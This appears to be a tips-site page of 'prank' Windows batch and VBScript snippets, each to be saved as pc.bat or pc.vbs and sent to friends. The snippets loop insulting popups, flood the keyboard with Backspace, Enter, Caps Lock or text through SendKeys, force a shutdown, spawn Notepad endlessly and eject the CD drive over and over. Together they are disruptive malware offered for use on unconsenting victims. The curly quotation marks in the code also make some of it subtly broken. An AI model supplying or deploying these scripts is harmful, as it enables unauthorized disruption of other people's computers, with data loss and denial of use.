INFOTECHNO

@ECHO off

:Begin

msg * Hi

msg * Are you having fun?

msg * I am!

msg * Lets have fun together!

msg * Because you have been o-w-n-e-d

GOTO BEGIN

Save it as pc.bat and send it to your friends.

___________________________________________________________________________


Make Keyboard Keys Type Continuously:

Type :

MsgBox “stop me..! if you can”

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{bs}”

loop

Save it as pc.vbs and send it to your friends.

_____________________________________________________________________________


Convey your friend a message and shut down his/ her computer.

Type :

@echo off

msg * I don’t like you

shutdown -c “Hahahah You are Doomed” -s
Save it as pc.bat and send it to your friends.



_______________________________________________________________________________



Toggle your friend’s Caps Lock button simultaneously

Type :

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do 

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}” 

loop

Save it as pc.vbs and send it to your friends.
______________________________________________________________________________


Frustrate your friend by making their keyboard hit Enter simultaneously whenever they press a key :

Type :

Set wshShell = wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

Save it as pc.vbs and send it to your friends.

________________________________________________________________________________


Hack your friend’s keyboard and make him type “You are a fool” simultaneously:

Type : 

Set wshShell = wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “You are a fool.”

loop

Save it as pc.vbs and send it to your friends.

________________________________________________________________________________

Open Notepad, slowly type anythingand freak your friends out:
Type :

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject(“WScript.Shell”)

WshShell.Run “notepad”

WScript.Sleep 100

WshShell.AppActivate “Notepad”

WScript.Sleep 500

WshShell.SendKeys “Hel”

WScript.Sleep 500

WshShell.SendKeys “lo “

WScript.Sleep 500

WshShell.SendKeys “, ho”

WScript.Sleep 500

WshShell.SendKeys “w a”

WScript.Sleep 500

WshShell.SendKeys “re “

WScript.Sleep 500

WshShell.SendKeys “you”

WScript.Sleep 500

WshShell.SendKeys “? “

WScript.Sleep 500

WshShell.SendKeys “I a”

WScript.Sleep 500

WshShell.SendKeys “m g”

WScript.Sleep 500

WshShell.SendKeys “ood”

WScript.Sleep 500

WshShell.SendKeys ” th”

WScript.Sleep 500

WshShell.SendKeys “ank”

WScript.Sleep 500

WshShell.SendKeys “s! “


Save it as pc.vbs and send it to your friends.
____________________________________________________________________________

Frustrate your friend by making their keyboard hit Backspace simultaneously whenever they press a key :
Type :

MsgBox “Let’s rock and roll”

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{bs}”

loop


Save it as pc.vbs and send it to your friends. 

____________________________________________________________________________

Open Notepad continuously in your friend’s computer:

Type :

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top
Save it as pc.bat and send it.
______________________________________________________________________________

Continuously pop out your friend’s CD or DVD Drive.

Type :

Set oWMP = CreateObject(“WMPlayer.OCX.7″)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop


Save it as pc.vbs and send it to your friends.
___________________________________________________________________________